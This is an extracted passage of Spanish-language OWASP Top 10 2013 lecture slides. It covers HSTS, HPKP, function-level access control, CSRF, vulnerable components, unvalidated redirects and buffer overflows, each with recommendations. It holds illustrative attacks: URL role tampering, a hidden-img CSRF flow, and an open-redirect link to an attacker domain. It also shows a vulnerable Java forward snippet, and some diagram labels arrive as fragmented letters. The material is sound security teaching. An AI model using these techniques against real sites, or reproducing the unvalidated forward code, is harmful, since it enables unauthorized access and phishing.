Administrar correctamente las claves y certificados

Verificar los certificados SSL antes de usarlos

Use mecanismos probados cuando suficiente (SSL vs XML-Sign)

https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet

Page 61: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

HTTP Strict Transport Security (HSTS)

HTTP Strict Transport Security (HSTS) es una

característica de seguridad del sitio web que obliga a

los navegadores o agentes de usuario a comunicarse

con servidores sólo a través de conexiones HTTPS.

HSTS mejora la seguridad e impide que los ataques

man-in-the-middle, de degradación del protocolo, y

robo de cookies.

Strict-Transport-Security: max-age=31536000

Page 62: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

HTTP Public Key Pinning (HPKP)

HTTP Public Key Pinning (HPKP) es un mecanismo de

seguridad que permite a los sitios web HTTPS resistir la

suplantación de identidad por parte de los atacantes

usando certificados falsos o fraudulentos.

El servidor web HTTPS distribuye una lista de hashes

de claves públicas. En las conexiones posteriores, los

clientes esperan que el servidor utilice una o más de

esas claves públicas en su cadena de certificados.

Page 63: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Ausencia de control de acceso a las funciones

Page 64: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Ausencia de control de acceso a las funciones

La mayoría de aplicaciones web verifican los

derechos de acceso a nivel de función antes de hacer

visible en la misma interfaz de usuario.

A pesar de esto, las aplicaciones necesitan verificar el

control de acceso en el servidor cuando se accede a

cada función.

Si las solicitudes de acceso no se verifican, los atacantes

podrán realizar peticiones sin la autorización apropiada.

Page 65: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Ausencia de control de acceso a las funciones: ejemplo común

El atacante se da cuenta que la URL indica su rol

/user/getAccounts

El atacante modifica la URL para que use otro rol

/admin/getAccounts

/manager/getAccounts

El atacante ahora puede ver información que antes no podía ver

https://www.onlinebank.com/user/getAccountshttps://www.onlinebank.com/user/getAccounts

Page 66: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Ausencia de control de acceso a las funciones: errores comunes e impactos

Errores comunes

Mostrar solo enlaces y opciones de menú autorizados

Esto se llama “Control de acceso de capa de presentación” y no funciona

El atacante simplemente forja acceso directo a páginas “no autorizadas”

Impactos posibles

Los atacantes invocan funciones y servicios para los que no están autorizados

Acceso a las cuentas y datos de otros usuarios

Realizar acciones privilegiadas

Page 67: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Ausencia de control de acceso a las funciones: recomendaciones (1)

Para la función, un sitio debe hacer 3 cosas

Restringir el acceso a usuarios autenticados (si no es público)

Hacer cumplir permisos de usuario o de rol (si es privado)

Prohibir completamente las solicitudes a tipos de página no

autorizados (por ejemplo: archivos de configuración, archivos

de registro, archivos de origen, etc.)

Verificar la arquitectura

Utilice un modelo simple y positivo en todas las capas

Asegúrese de que tiene un mecanismo en todas las capas

Page 68: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Ausencia de control de acceso a las funciones: recomendaciones (2)

Verificar la implementación

Compruebe que cada URL (más cualquier parámetro) que hace referencia a una función está protegida por: Un filtro externo, como Java EE web.xml o un producto comercial

Controles internos en su código: por ejemplo, utilice el método isAuthorizedForURL() de la biblioteca ESAPI

Verificar que la configuración del servidor no permite solicitudes a tipos de archivo no autorizados

Use OWASP (Open Web Application Security Project) ZAP (Zed Attack Proxy) para eliminar solicitudes no autorizadas enviadas desde browsers

Page 69: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Falsificación de peticiones en sitios cruzados (CSRF)

Page 70: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Falsificación de peticiones en sitios cruzados (CSRF)

Un ataque CSRF obliga al navegador de una victima autenticada

a enviar una petición HTTP falsificado, incluyendo la sesión del

usuario y cualquier otra información de autenticación incluida

automáticamente, a una aplicación web vulnerable.

Esto permite al atacante forzar al navegador de la victima para

generar pedidos que la aplicación vulnerable piensa son

peticiones legítimas provenientes de la victima.

Cross-Site Request Forgery = CSRF

Page 71: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Falsificación de peticiones en sitios cruzados (CSRF): causas del problema

El problema

Los navegadores web incluyen automáticamente la mayoría de las credenciales con cada solicitud

Incluso para las solicitudes causadas por un formulario, una secuencia de comandos o una imagen en otro sitio

Los sitios que confían solamente en credenciales automáticas son vulnerables

¡Casi todos los sitios son de esta manera!

Credenciales proporcionadas automáticamente

Session cookie

Basic authentication header

IP address

Client side SSL certificates

Windows domain authentication

Page 72: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Falsificación de peticiones en sitios cruzados (CSRF): flujo ejemplo

3

2

El atacante establece la trampa en algún sitio web en Internet (o simplemente a través de un correo electrónico)1

Mientras se registra en el sitio vulnerable, la víctima ve el sitio del atacante

El sitio vulnerable ve una solicitud legítima de la víctima y realiza la acción solicitada

La etiqueta <img> es cargada por el navegador el cual envía la solicitud GET (incluyendo credenciales) al sitio vulnerable

Custom Code

Acc

ounts

Fin

ance

Adm

inis

tration

Tra

nsa

ctio

ns

Com

munic

ation

Know

ledge

Mgm

t

E-C

om

merc

e

Bus.

Funct

ions

La etiqueta <img> oculta contiene un ataque contra un sitio vulnerable

Aplicación con vulnerabilidad CSRF

Page 73: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Falsificación de peticiones en sitios cruzados (CSRF): recomendaciones

Agregue un símbolo (token) secreto, no enviado automáticamente, a TODAS las solicitudes sensibles

Esto hace imposible para el atacante falsificar la solicitud

Los tokens deben ser criptográficamente fuertes o aleatorios

Opciones

Almacene un solo token en la sesión y agréguelo a todos los formularios y enlaces <input name="token" value="687965fdfaew87" type="hidden"/>

En un path único: /accounts/687965fdfaew87

En un campo único: /accounts?auth=687965fdfaew87&...

Puede tener un token único para cada función Utilice un hash de nombre de función, id de sesión y un secreto

https://www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet

Page 74: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Uso de componentes con vulnerabilidades conocidas

Page 75: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Uso de componentes con vulnerabilidades conocidas

Algunas componentes como bibliotecas, marcos de trabajo

(frameworks) y otros módulos de software casi siempre

funcionan con todos los privilegios.

Si se ataca un componente vulnerable, se puede facilitar la

intrusión en el servidor o perdida seria de datos.

Las aplicaciones que usan componentes con

vulnerabilidades conocidas debilitan las defensas de la

aplicación y permiten ampliar el rango de posibles ataques e

impactos.

Page 76: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Uso de componentes con vulnerabilidades conocidas: estadísticas

1

10

100

1.000

10.000

100.000

1.000.000

10.000.000

100.000.00029 millones de descargas con

vulnerabilidades en 2012

Bibliotecas 31

Versiones de bibliotecas 1.261

Organizaciones 61.807

Descargas 113.939.358

Descargas con vulnerabilidades

conocidas

26%Descargas sin vulnerabilidades

conocidas

74%

http://www.aspectsecurity.com/research-presentations/the-unfortunate-reality-of-insecure-libraries

Page 77: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Uso de componentes con vulnerabilidades conocidas: conclusiones principales

29,8 millones (26%) de descargas de bibliotecas tienen vulnerabilidades conocidas

Las bibliotecas vulnerables más descargadas fueron GWT, Xerces, Spring MVC y Struts 1.x

Las bibliotecas de seguridad son un poco más propensas a tener una vulnerabilidad conocida que los frameworks

Sobre la base de las tasas de vulnerabilidad típicas, la gran mayoría de las fallas de la biblioteca siguen sin ser descubiertas

Ni la presencia ni la ausencia de vulnerabilidades históricas es un indicador de seguridad útil

Es probable que las aplicaciones Java típicas incluyan al menos una biblioteca vulnerable

Page 78: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Uso de componentes con vulnerabilidades conocidas: recomendaciones

Lo ideal sería:

Realice pruebas automáticas periódicas para revisar si sus bibliotecas están obsoletas (existen versiones más nuevas)

Mejor si la prueba automática puede además informar de las vulnerabilidades conocidas de las bibliotecas que tiene en uso

Como mínimo:

A mano revise periódicamente si sus bibliotecas están obsoletas y actualice a las últimas versiones

Si alguna está obsoleta, pero no desea (o no puede) actualizar, revise si hay alguna biblioteca en uso que posea vulnerabilidades conocidas: si es así, actualice estas bibliotecas

Page 79: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Redirecciones y reenvíos no validados

Page 80: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Redirecciones y reenvíos no validados

Las aplicaciones web frecuentemente redirigen y

reenvían a los usuarios hacia otras páginas o sitos web,

y utilizan datos no confiables para determinar la página

de destino.

Sin una validación apropiada, los atacantes pueden

redirigir a las víctimas hacia sitios de suplantación de

identidad (phishing) o malware, o utilizar reenvíos para

acceder páginas no autorizadas.

Page 81: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Redirecciones y reenvíos no validados: flujo ejemplo (1)

3

2

El atacante envía el ataque a la víctima por correo electrónico o página web

Desde: Servicio Impuestos InternosAsunto: Reembolso de impuestosNuestros registros muestran que usted tiene un reembolso no reclamado. Por favor haga clic aquí para iniciar su reclamo.

1

La aplicación redirige a la víctima al sitio del atacante

La petición es enviada a un sitio vulnerable, incluyendo el sitio de destino del atacante como parámetro. El sitio redirige a la víctima al sitio del atacante.

Custom Code

Acc

ounts

Fin

ance

Adm

inis

tration

Tra

nsa

ctio

ns

Com

munic

ation

Know

ledge

Mgm

t

E-C

om

merc

e

Bus.

Funct

ions

4El sitio del atacante instala el malware en la víctima, o busca información privada

Evil Site

http://www.sii.cl/reembolso.jsp?periodo=2016&…&dest=www.sitiomalo.cl

Víctima hace clic en el enlace que contiene el parámetro no validado

Page 82: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Redirecciones y reenvíos no validados: flujo ejemplo (2)

2

El atacante envía un ataque a la página vulnerable a la que tienen acceso1

La solicitud autoriza la solicitud, que continúa a la página vulnerable

La petición es enviada a la página vulnerable a la cual el usuario tiene acceso. El sitio reenvía al usuario directamente a la página privada, sin controlar el acceso.

3 La página de reenvío no valida el parámetro, enviando al atacante a una página no autorizada, omitiendo el control de acceso

public void doPost(HttpServletRequest req, HttpServletResponse res)

String target = request.getParameter("dest");...request.getRequestDispatcher(target).forward(req, res);

public void metodoSensible( HttpServletRequest req, HttpServletResponse res)

// Se ejecuta algo sensible

Filtro

Page 83: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Redirecciones y reenvíos no validados: recomendaciones

Evite usar redirecciones (forwards) lo más posible

Si las usar, no incluya parámetros con la definición de la URL de destino

Si debe usar parámetros de destino, entonces:

Valide cada parámetro para asegurar su validez y autorización para el usuario actual

Utilice un mapeo en el lado del servidor para traducir la opción proporcionada al usuario con la página de destino real

ESAPI SecurityWrapperResponse.sendRedirect(URL)

Javadoc: http://www.javadoc.io/doc/org.owasp.esapi/esapi/2.1.0

https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

OWASP Enterprise Security API (ESAPI)

Page 84: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Desbordamiento de búfer

Page 85: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Desbordamiento de búfer

Se produce cuando un programa no controla adecuadamente la

cantidad de datos (bytes) que se copian sobre un área de

memoria (buffer).

Si la cantidad de bytes es superior a la capacidad del buffer, los

bytes adicionales se escriben en zonas de memoria adyacentes,

áreas que el programador no tenía intensiones de modificar.

Estas modificaciones no controladas pueden tener efectos

inesperados en el comportamiento del programa.

Page 86: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Desbordamiento de búfer: modificar los datos del programa

Un buffer de 8 bytes tipo String (A), y otro de 2 bytes tipo Integer (B)

El programa intenta almacenar la cadena de caracteres "demasiado" en el buffer A, seguido de byte nulo (0) para marcar el fin de String

Page 87: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Desbordamiento de búfer: programa ANSI-C incorrecto

Page 88: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Desbordamiento de búfer: programa ANSI-C corregido

Page 89: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Desbordamiento de búfer: modificar las instrucciones del programa

En las arquitecturas comunes de computadoras no existe

separación entre las zonas de memoria dedicadas a

“datos” y las dedicadas a “instrucciones”.

Los bytes de “data” que desbordan el buffer podrían

grabarse donde antes había “instrucciones”.

Estas “instrucciones” modificadas podrían alterar el flujo

del programa, llevándole a realizar operaciones

imprevistas por el programador original.

Page 90: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Desbordamiento de búfer: modificar la dirección de salto (jump)

Page 91: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Desbordamiento de búfer: modificar la dirección de retorno (stack)

Page 92: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Desbordamiento de búfer: recomendaciones

La mejor forma de protección es a nivel del compilador del

lenguaje: este tipo de protección no se puede usar en

lenguajes legados como: C, C++ o Assembly.

En lenguajes legados usar bibliotecas bien escritas que

implementan estructuras de datos seguras.

Usar lenguajes que no permitan acceso directo a la memoria

como: COBOL, Java, Python, y lenguajes interpretados.

Protección a nivel del Sistema Operativo (OS)

Page 93: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

10 acciones pro-activas recomendadas

Page 94: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

10 acciones pro-activas recomendadas

1. Verifique seguridad desde el inicio y frecuentemente

2. Parametrice todas las consultas

3. Codifique (encode) los datos

4. Valide todos los datos de entradas

5. Implemente Controles de Identidad y Autenticación

6. Implemente Controles de Acceso adecuados

7. Proteja los datos (encriptación, hash, red)

8. Implemente Registro y Detección de intrusiones

9. Incluya Marcos de Seguridad y Bibliotecas

10. Manejo correcto de Errores y Excepciones

Page 95: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear
Page 96: OWASP Top 10 - OBCOM · Charla basada en “OWASP Top 10 2013” Open Web Application Security Proyect (OWASP) También incluye material obtenido en “Wikipedia” La idea es crear

Muchas gracias